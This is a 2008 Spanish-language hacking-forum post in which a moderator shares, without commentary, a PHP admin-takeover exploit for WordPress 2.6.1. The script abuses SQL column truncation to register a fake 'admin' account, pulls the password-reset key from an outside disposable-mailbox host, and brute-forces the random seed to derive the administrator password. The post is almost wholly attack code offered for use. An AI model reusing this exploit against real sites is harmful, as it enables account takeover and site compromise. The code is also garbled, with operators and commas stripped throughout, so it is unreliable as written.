Vota por nosotros en el ranking web que participamos

Curso Hacker
Bienvenido(a), Visitante. Favor de ingresar o registrarse.
¿Perdiste tu email de activación? - Octubre 13, 2008, 09:29:31
Inicio Ayuda Ingresar Registrarse
Visita: Articulos - Juegos Gratis - Da Foros

Comunidad Underground Hispana  |  Phreaking, Hacking y Seguridad  |  Bug y Exploits (Moderadores: OzX, [ E0F ] d0RkNet)  |  Tema: Wordpress 2.6.1 (SQL Column Truncation) Admin Takeover Exploit 0 Usuarios y 1 Visitante están viendo este tema. « anterior próximo »
Páginas: [1] Ir Abajo Imprimir
Autor Tema: Wordpress 2.6.1 (SQL Column Truncation) Admin Takeover Exploit  (Leído 44 veces)
[ E0F ] d0RkNet
Moderadores
Gran Colaborador
*****
Desconectado Desconectado

Mensajes: 3084



Ver Perfil
« en: ſeptiembre 11, 2008, 09:28:57 »

Código:
#!/usr/bin/php
<?php
# ------------------------------------------------------------
# quick'n'dirty wordpress admin-take0ver poc
# by iso^kpsbr in august 2oo8 
#
# works w/ wordpress 2.6.1
#
#         .oO( private -- do not spread! )Oo.
#
# you'll have to make sure you run roughly the same
# php version as on the server, that is: if server
# is >=5.2.1 you'll need to be as well, in case
# server is <5.2.1, your php also needs to be below.
# to make sure it works you'll need the exact same version!
# also, mod_php works better than (f)cgi..
# (this is a first working version - not a very reliable one)
#
# you should create rainbow tables to make this work in a
# real world scenario:
# php-5.2.0/php createtables.php > wp261_php520
# php-5.2.1/php createtables.php > wp261_php521
#
#-------------------------------------------------------------

$BLOG $_SERVER['argv'][1];

echo "[+] w0rdpress 2.6.1. admin takeover, iso 0808\n";

if(!$BLOG) {
echo "[!] Usage: ".$_SERVER['argv'][0]." blogurl\n";
echo "    fe: ".$_SERVER['argv'][0]." http://31337.biz/blog\n";
exit;
}

$UA "WordpressAdminTakeover";
$MBOX="wp".`ps|md5sum|head -c 8`;
$EMAIL="$MBOX @nospamfor.us";

echo (file_exists('wp261_php520') && file_exists('wp261_php521')) ?
"[X] rainbow tables available\n" :
"[!] rainbow tables not found - this will be really slow\n";

set_time_limit(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",20);

if(!preg_match('!http://([^/]+)(.*)$!'$BLOG$match)) {
die("[!] $BLOG is no valid URL\n");
}

$HOST $match[1];
$PATH $match[2];
if(!$PATH$PATH='/';

echo "[-] registering new admin user\n";
$suck fsockopen($HOST80) or die("[!] could not connect to $HOST:80\n");
$data "user_login=admin".str_repeat("%20",60)."x&user_email=$EMAIL";
$req "POST $PATH/wp-login.php?action=register HTTP/1.1\r\nHost: $HOST\r\nUser-Agent: $UA\r\nConnection: close\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: ".strlen($data)."\r\n\r\n".$data;
fputs($suck$req);
sleep(1);
fclose($suck);

echo "[-] requesting resetlink and mail to '$EMAIL'\n";
$suck fsockopen($HOST80) or die("[!] could not connect to $HOST:80\n");
$data="user_login=$EMAIL&wp-submit=Get+New+Password";
$req "POST $PATH/wp-login.php?action=lostpassword HTTP/1.1\r\nHost: $HOST\r\nReferer: $BLOG/wp-login.php?action=lostpassword\r\nConnection: keep-alive\r\nKeep-Alive: 300\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: ".strlen($data)."\r\n\r\n".$data."\r\n";
fputs($suck$req);

echo "[.] giving $BLOG some time to deliver mail..\n";
for($i=0;$i<8;$i++) {
fputs($suck,"GET / HTTP/1.1\r\nHost: $HOST\r\nConnection: keep-alive\r\nKeep-Alive: 300\r\n\r\n");
sleep(2);
}

echo "[-] fetching resetlink token $MBOX\n";
$PAGE file_get_contents("http://www.nospamfor.us/mailbox.php?mailbox=$MBOX&sitename=nospamfor.us");
if(!preg_match('/.+mailid=(\d+).+?Reset/s'$PAGE$match)) die("[!] failed to find resetmail try raising the wait-time right above\n");
$MAILID=$match[1];

echo "[-] fetching resetmail $MAILID\n";

$WHOLEMAIL=file_get_contents("http://www.nospamfor.us/mail.php?mailid=$MAILID&sitename=nospamfor.us&mailbox=$MBOX");
if(!preg_match('/key=([A-z0-9]+)/'$WHOLEMAIL$match)) die("[!] could not find resetkey in $WHOLEMAIL\n");
$KEY=$match[1];

echo "[X] found resetkey $KEY\n";
echo "[-] resetting password\n";

$req "GET $PATH/wp-login.php?action=rp&key=$KEY HTTP/1.1\r\nHost: $HOST\r\nUser-Agent:$UA\r\nConnection: close\r\n\r\n";
fputs($suck$req);
while(!feof($suck)) {
#echo "D:".
fgets($suck);
}
fclose($suck);

echo "[-] calculating password\n";
$SEED=false;
if(file_exists('wp261_php520')) {
$SEED=`grep -F $KEY wp261*|cut -d : -f 1`;
echo "[X] got seed $SEED from rainbow table\n";
}
$PASSWORD=calcpass($KEY$SEED);

echo "[X] all done.";
exit;

function calcpass($resetkey$seed false) {
mt_srand(2); $a mt_rand(); mt_srand(3); $b mt_rand();
define('BUGGY'$a == $b);
echo "[-] wpress password computation. runnig in ".(BUGGY?'fast':'slow')." mode\n";

echo "[+] got key $resetkey via mail\n";

if(!$seed$seed getseed($resetkey);

if($seed===false) die("[!] seed not found :( try using identical php version (< 5.2.5)\n");

mt_srand($seed);
echo "[-] seed for key ".wp_generate_password(20,false)." is $seed\n";
$pass wp_generate_password();
echo "[+] new credentials are admin:$pass\n";
return $pass;
}

function wp_generate_password($length 12$special_chars true) {
$chars 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
if ( $special_chars )
$chars .= '! @#$%^&*()';

$password '';
for ( $i 0$i $length$i++ )
$password .= substr($charsmt_rand(0strlen($chars) - 1), 1);
return $password;


function getseed($resetkey) {
echo "[-] calculating rand seed for $resetkey (this will take a looong time)";
$max pow(2,(32-BUGGY));
for($x=0;$x<=$max;$x++) {
$seed BUGGY ? ($x << 1) + $x;
mt_srand($seed);
$testkey wp_generate_password(20,false);
if($testkey==$resetkey) { echo "o\n"; return $seed; }

if(!($x 10000)) echo ".";
}
echo "\n";
return false;
}

?>

En línea

Until The End =>
Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion
Páginas: [1] Ir Arriba Imprimir 
Comunidad Underground Hispana  |  Phreaking, Hacking y Seguridad  |  Bug y Exploits (Moderadores: OzX, [ E0F ] d0RkNet)  |  Tema: Wordpress 2.6.1 (SQL Column Truncation) Admin Takeover Exploit « anterior próximo »
Ir a:  


Ranking-Hits
Powered by SMF 1.1.6 | SMF © 2006-2007, Simple Machines LLC